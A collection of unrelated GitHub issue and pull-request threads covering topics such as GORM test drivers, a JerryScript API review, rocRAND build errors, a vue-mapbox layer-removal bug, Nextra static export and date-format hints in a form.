Not sure if we need them in this project. We are testing the config and tracing integration, not GORM itself. Those drivers belong to the tests in GORM project, not here. ie. As long as one of the drivers works, the integration of GORM works.

Not sure if we need them in this project. We are testing the config and tracing integration, not GORM itself. Those drivers belong to the tests in GORM project, not here. ie. As long as one of the drivers works, the integration of GORM works.

Yes, it does increase the cost of testing. So i just need to keep the following code?
func provideDialector(conf *databaseConf) (gorm.Dialector, error) {
	drivers := map[string]func(dsn string) gorm.Dialector{
		"mysql":      mysql.Open,
		"sqlite":     sqlite.Open,
		"postgres":   postgres.Open,
		"sqlserver":  sqlserver.Open,
		"clickhouse": clickhouse.Open,
	}
	if driver, ok := drivers[conf.Database]; ok {
		return driver(conf.Dsn), nil
	}
	return nil, fmt.Errorf("unknow database type %s", conf.Database)
}


Jerry API update

@poussa and @lemmaa the API update patch is here. Could you give your feedback about the changes in jerry-api.h? Of course you can give feedback for other files as well but since you use the api, we would value your opinion about the API itself.

@jimmy-huang @grgustaf FYI changes coming. PTAL.

@franc0is @HBehrens We would appreciate your feeback on the new API as well :)

One of @zherczeg 's comments above reminded me, it seems odd that jerry_get_array_length returns uint32_t but [gs]et_array_index_value take jerry_length_t. But I'll admit the myriad aliases for ints confuse me.
Is that as it should be?

I think this is a great job!
LGTM after fixing those small issues.

@zherczeg, @dbatyai, I've updated the PR. Please check

LGTM otherwise.

@LaszloLango Hi, can I assume that it is the API 1.0, and will not change a lot in this period?

We are hoping this API will be stable. Perhaps we add more functions, but not removing them. Unless something serious comes up. Hopefully not.

Thanks! and is our next step is Jerry Port API #964?:)

@jiangzidong, yes. Port API patch will be the next :)


Force formula re-calculation on file open from Excel

Hello,
I desperately need support for forcing excel to re-calculate the formulas on open.
This is following part:
<x:calcPr calcId="999999" fullCalcOnLoad="1"/>
Can you give me some clues where to add it, so I could contribute and add this functionality.

Added in v3.3.0


example runs on windows, fixed dependencies and API_TOKEN handling

example runs on windows, fixed dependencies and API_TOKEN handling

added missing pip dependencies
changed pip to %pip and not -q (output)
using HUGGINGFACE_HUB_TOKEN and commandline
changed linux ls command to python portable version
convert int32 tensors to int64

@merveenoyan please note that my githook removed the notebook output and I also cleared output before commit
Not sure how you want to handling this in your project... (some developers want to commit with notebook output)


Geojson layer not clearing  (Removal Not noticing)

Hi! I'm on a nuxt app with a vue-mapbox wrapper.
"mapbox-gl": "^1.13.1",
"nuxt": "^2.14.6",
"v-mapbox": "^1.7.3"

One interesting issue I have right now is that a geojson layer that is removed in code still pertains to exist in the rendered page.
This is the scenario.

I have one  component that is supposed to display one layer at a time.  (let's say one circle)
I click on a button to change the layer into a different one.
In chrome Vue devtools, the  reflects the changed layer and only shows one layer.
However, on the rendered mapbox, I can visibly see two layers (let's say two circles) appearing simultaneously.
The layers are also individually clickable, if I were to create a pop up on click.

Anybody has an idea why this would happen and how I may be able to work through this?

Hey @InhyeLee-Data, can you please create a fork of this codesandbox or this codesandbox & provide a reproducible example?

I'm having the same issue:
`

    NUmber files {{files.length}}

<v-map class="w-full h-full" :options="state.map">
    <VLayerMapboxGeojson v-for="(layer, i) in activeLayers" :key="i"
        :sourceId="layer.id"
        :source="layer.source"
        :layerId="layer.id"
        :layer="layer"
        />

            <button class='list-group-item' :class="{active: layer.active}" @click="layer.active = !layer.active">{{layer.id}}</button>

</v-map>

`
I'm allowing users to drag a shapefile or geojson onto the page. Then I show it. But they can deactivate a layer, and it is removed from the Vue inspector, but remains active on the map. Seems no proper destruction is happening when a layer is removed.

@stefangeorg can you please create a sandbox for better debugging ?

@vinayakkulkarni I'll try to setup one, but its relatively simple actually. There is no onUnmounted action. So if the VLayerMapboxGeojson is removed from the parent, the layers and source remain on the map eventhough the component is no longer there. We should cleanup on unMounted to remove the layer and source (or have an options to keep the source but remove the layer)

 export default defineComponent({   ...VLayerMapboxGeojson,   ...{     name: "GeoJSONLayer",     extends: VLayerMapboxGeojson,     props: {       ...VLayerMapboxGeojson.props,       ...{         mapRef: {           type: Object,           required: true,         },       },     },     mounted() {},     unmounted() {       if (!this.mapRef) {         return;       }       if (this.mapRef.getLayer(this.layerId)) {         this.mapRef.removeLayer(this.layerId);       }       if (this.mapRef.getSource(this.sourceId)) {         this.mapRef.removeSource(this.sourceId);       }     },   }, });


Create issue for reviews

2 people in this team.

Github Project.

Hi Team 👋,
In my opinion, your project is complete!   🤓👍
Good luck! 🎉
Feel free to leave any questions or comments in the PR thread if something is not 100% clear.


change readme from setupTestFrameworkScriptFile to setupFilesAfterEnv

according to the enzyme config documentation setupTestFrameworkScriptFile was deprecated and replaced by setupFilesAfterEnv

Thanks you @j33n


More descriptions for Get Started notebook

Coverage remained the same at 81.731% when pulling cab8230c2485f2cb7dd167960bf25f417792ecb8 on bact:dev into daa27b4dea893ebc9a19e7ec5949cc6d516cbf4d on PyThaiNLP:dev.


Cannot build rocRAND on ROCm 1.7.1

cmake step is ok, but when I try to make, I see the error:
[ 16%] Linking CXX executable test_rocrand_generate
/tmp/tmp.IEugOWDNzj/test_rocrand_generate.cpp.host.o: In function `_GLOBAL__sub_I_test_rocrand_generate.cpp':
test_rocrand_generate.cpp:(.text.startup+0x1a4): undefined reference to `testing::internal::MakeAndRegisterTestInfo(char const*, char const*, char const*, char const*, void const*, void (*)(), void (*)(), testing::internal::TestFactoryBase*)'
test_rocrand_generate.cpp:(.text.startup+0x1f4): undefined reference to `testing::internal::MakeAndRegisterTestInfo(char const*, char const*, char const*, char const*, void const*, void (*)(), void (*)(), testing::internal::TestFactoryBase*)'
test_rocrand_generate.cpp:(.text.startup+0x244): undefined reference to `testing::internal::MakeAndRegisterTestInfo(char const*, char const*, char const*, char const*, void const*, void (*)(), void (*)(), testing::internal::TestFactoryBase*)'
clang-6.0: error: linker command failed with exit code 1 (use -v to see invocation)
test/CMakeFiles/test_rocrand_generate.dir/build.make:103: recipe for target 'test/test_rocrand_generate' failed
make[2]: *** [test/test_rocrand_generate] Error 1
CMakeFiles/Makefile2:360: recipe for target 'test/CMakeFiles/test_rocrand_generate.dir/all' failed
make[1]: *** [test/CMakeFiles/test_rocrand_generate.dir/all] Error 2
Makefile:160: recipe for target 'all' failed
make: *** [all] Error 2

Ah, that's exactly what we're encountering!
Would it be good to have a single status-page for all ROCm-related projects?

what is your OS + compiler + GPU? How do you know it is 1.7.1? Can you /opt/rocm/bin/hipconfig

Just verified with the rocm/rocm-terminal:latest docker image, rocRAND can be built fine using the following steps:
sudo apt update &&  sudo apt install -y libunwind-dev pkg-config
cd ~ && git clone https://github.com/ROCmSoftwarePlatform/rocRAND.git
cd ~/rocRAND && mkdir build && cd build && cmake .. && make package -j && sudo dpkg -i *.deb

I was able to build the test_rocrand_generate executable fine on my machine. I am not on docker container. I am running 16.04.1 + Fiji and rocm-dkms 1.7.137
HCC clang version 6.0.0 (ssh://gerritgit/compute/ec/hcc-tot/clang ac8732c272d3ce6a4d1ee6aa636f06d44cd5170c) (ssh://gerritgit/compute/ec/hcc-tot/llvm 710f135c41925e12aa088c26e1a9f583b1778fbe) (based on HCC 1.2.18063-7e18c64-ac8732c-710f135 )
Target: x86_64-unknown-linux-gnu
Thread model: posix
InstalledDir: /opt/rocm/hcc/bin

@sunway513 , they are building client (executables) not library *.so.

I am running 16.04.1 on Vega and rocm-dkms 1.7.137
hipconfig output from my system:
HIP version  : 1.5.18073

== hipconfig
HIP_PATH     : /opt/rocm
HIP_PLATFORM : hcc
CPP_CONFIG   :  -D__HIP_PLATFORM_HCC__=   -I/opt/rocm/include -I/opt/rocm/hcc/include

== hcc
HSA_PATH     : /opt/rocm/hsa
HCC_HOME     : /opt/rocm/hcc
HCC clang version 6.0.0 (ssh://gerritgit/compute/ec/hcc-tot/clang ac8732c272d3ce6a4d1ee6aa636f06d44cd5170c) (ssh://gerritgit/compute/ec/hcc-tot/llvm 710f135c41925e12aa088c26e1a9f583b1778fbe) (based on HCC 1.2.18063-7e18c64-ac8732c-710f135 )
Target: x86_64-unknown-linux-gnu
Thread model: posix
InstalledDir: /opt/rocm/hcc/bin
Can't exec "/opt/rocm/hcc/compiler/bin/llc": No such file or directory at /opt/rocm/bin/hipconfig line 132.
HCC-cxxflags :  -hc -std=c++amp -I/opt/rocm/hcc/include -I/opt/rocm/includeHCC-ldflags  :  -hc -std=c++amp -L/opt/rocm/hcc/lib -Wl,--rpath=/opt/rocm/hcc/lib -ldl -lm -lpthread -lunwind -lhc_am -Wl,--whole-archive -lmcwamp -Wl,--no-whole-archive

@tingxingdong I should have built everything. The 26 dtests also pass fine in my docker container.

@ashishfarmer
how are you launching the build? can you rebuild dependencies with this flag
cmake -DDEPENDENCIES_FORCE_DOWNLOAD=ON

@bragadeesh , with the -DDEPENDENCIES_FORCE_DOWNLOAD flag on cmake command line on, I am able to build it. It builds and the tests pass.


Add documentation on plan life cycle and instance admission controller

Signed-off-by: Aleksey Dukhovniy<EMAIL_ADDRESS>

You also seem to be adding the same .png in two paths. Is that intended?

nope, removed one 👍


Fixing checkstyle so that builds pass.

My local builds were failing due to the import order error. I think its probably due to the accidental merge of : https://github.com/apache/druid/pull/13954

thank you @cryptoe for fixing this.

Merging it since the static checks have passed.


Manual entry of a date, Unclear valid format in entry form

For a field that can have manual date entry it is not clear the format that it should be provided in. e.g.  Month/Day/Year, etc.
Date formats can vary by location so we need to insure there is a clear indication of the format that will be valid for entry

If the format is invalid you get an error as you type:

I searched but there is no way to make the format appear by default in the placeholder.
We could add it manually like "Confirmed case date (yyyy/mm/dd)*" if UX is okay with that (I personally don't really feel the need).

I think we can cover this with some copy in the form to display the
format we are expecting. @Shruti Chandra<EMAIL_ADDRESS>FYI re. the copy
Thanks,
Stephen
https://sites.google.com/a/google.com/gps-email-signature/home/Google_Signature4.png?attredirects=0

•  *Stephen Ratcliffe

• * Google Pay, Product Manager

•<EMAIL_ADDRESS>

•  Google, Inc.
If you received this communication by mistake, please don't forward it to
anyone else (it may contain confidential or privileged information), please
erase all copies of it, including all attachments, and please let the
sender know it went to the wrong person. Thanks.
On Thu, Jul 2, 2020 at 3:37 PM Timothé<EMAIL_ADDRESS>wrote:

If the format is invalid you get an error as you type:
[image: image]
https://user-images.githubusercontent.com/1255432/86372228-3178eb80-bc82-11ea-84e8-262b929fdb09.png
I searched but there is no way to make the format appear by default in the
placeholder.
We could add it manually like "Confirmed case date (yyyy/mm/dd)*" if UX is
okay with that (I personally don't really feel the need).
—
You are receiving this because you were assigned.
Reply to this email directly, view it on GitHub
https://github.com/open-covid-data/healthmap-gdo-temp/issues/428#issuecomment-653044579,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/APCG7P2BYEOU7YLX2R6O5E3RZSLUHANCNFSM4OO6G7TQ
.

I think we can have a hint beneath the field (pre material field formatting

where it says Invalid Date Format in the image shared) Date format
YYYY/MM/DD

On Fri, Jul 3, 2020 at 5:50 AM Stephen Ratcliffe<EMAIL_ADDRESS>wrote:

I think we can cover this with some copy in the form to display the
format we are expecting. @Shruti Chandra<EMAIL_ADDRESS>FYI re. the
copy
Thanks,
Stephen
https://sites.google.com/a/google.com/gps-email-signature/home/Google_Signature4.png?attredirects=0

•  *Stephen Ratcliffe

• * Google Pay, Product Manager

•<EMAIL_ADDRESS>

•  Google, Inc.
If you received this communication by mistake, please don't forward it to
anyone else (it may contain confidential or privileged information), please
erase all copies of it, including all attachments, and please let the
sender know it went to the wrong person. Thanks.
On Thu, Jul 2, 2020 at 3:37 PM Timothé<EMAIL_ADDRESS>wrote:

If the format is invalid you get an error as you type:
[image: image]
https://user-images.githubusercontent.com/1255432/86372228-3178eb80-bc82-11ea-84e8-262b929fdb09.png
I searched but there is no way to make the format appear by default in
the placeholder.
We could add it manually like "Confirmed case date (yyyy/mm/dd)*" if UX
is okay with that (I personally don't really feel the need).
—
You are receiving this because you were assigned.
Reply to this email directly, view it on GitHub
https://github.com/open-covid-data/healthmap-gdo-temp/issues/428#issuecomment-653044579,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/APCG7P2BYEOU7YLX2R6O5E3RZSLUHANCNFSM4OO6G7TQ
.

--
Shruti Chandra
UX Manager
<EMAIL_ADDRESS>212-565-3818

Test comment, please ignore.

Yes. please add a hint text that says  "Date format
YYYY/MM/DD"

I am unclear how such hints should be displayed so I'd appreciate some guidance (what does "pre material field formatting" means?). Should the hint always be displayed or be hidden behind a tooltip icon (?) ?

@shroothless Please provide guidance.

I could change the error message to this:

I hope that's what Stephen meant.

I have another idea for the date format, we can tune the mask I think.

Heh, no :(
So you can specify a custom mask isntead of "____//" but you can only specify a single custom character that gets replaced. So I can change to "XXXX/XX/XX" but can't make it "YYYY/MM/DD".

FTR https://material-ui-pickers.dev/api/KeyboardDatePicker

Filed https://github.com/mui-org/material-ui-pickers/issues/2031 to ask for "YYYY/MM/DD" as a mask


[Organizations] Encourage users to consolidate ownership into organizations

Prompting should be done using the existing "confirm" page.
1 - If a user owns a package and adds an organization that they are a part of as an owner of the package, they should be prompted if they would like remove themselves as an owner.
2 - If a user adds a co-owner to a package that is a member of an organization that owns the package, they should be warned that the user already owns the package through an organization.

@anangaur do we still want this?

P2. Not needed now.


How to export static html?

I want to export static file content, and I added export configuration.
const withNextra = require('nextra')({
  theme: 'nextra-theme-docs',
  themeConfig: './theme.config.jsx',
});

/**
 * @type {import('next').NextConfig}
 */
const nextConfig = {
+  output: 'export',
+  distDir: 'dist',
  compiler: {
    styledComponents: {
      ssr: true,
      displayName: process.env.NODE_ENV !== 'production',
      minify: true,
    },
  },
};

module.exports = withNextra(nextConfig);

will be get a error:
> next dev --port 3001

ready - started server on <IP_ADDRESS>:3001, url: http://localhost:3001
Error: Specified "rewrites" cannot but used with "output: export". See more info here: https://nextjs.org/docs/advanced-features/static-html-export

I see nextra exists a default configuration like this:

There is no need to add the output config. As far as I know Nextra’s withNextra handles the generation of the appropriate final config automagically.
If you run next build && next export you should be able to find the exported site in the default .next folder.

closed since @terrymun is right

Thank you.
I saw that the documentation  next export nextjs 13.3 will be deprecated, and thought that nextra already supports it.

Getting an error when running next build && next export, even with images.unoptimized = true configured.
Error: Error: Image Optimization using Next.js' default loader is not compatible with next export.

This is how I have mine configured and don't get that error. Can you post your next.config.js file?

Thanks @zburk, I fixed it.


Anyway to distinguish User from a person in group and a private chat?

Is this possible? Or we can add a property like type?

Or we may see a group as a "User"? Anywa a group has a unique id and its own avatar, and only admin can open its setting page. I'd see an admin as "representing the group" rather than "someone in a group".

That makes sense.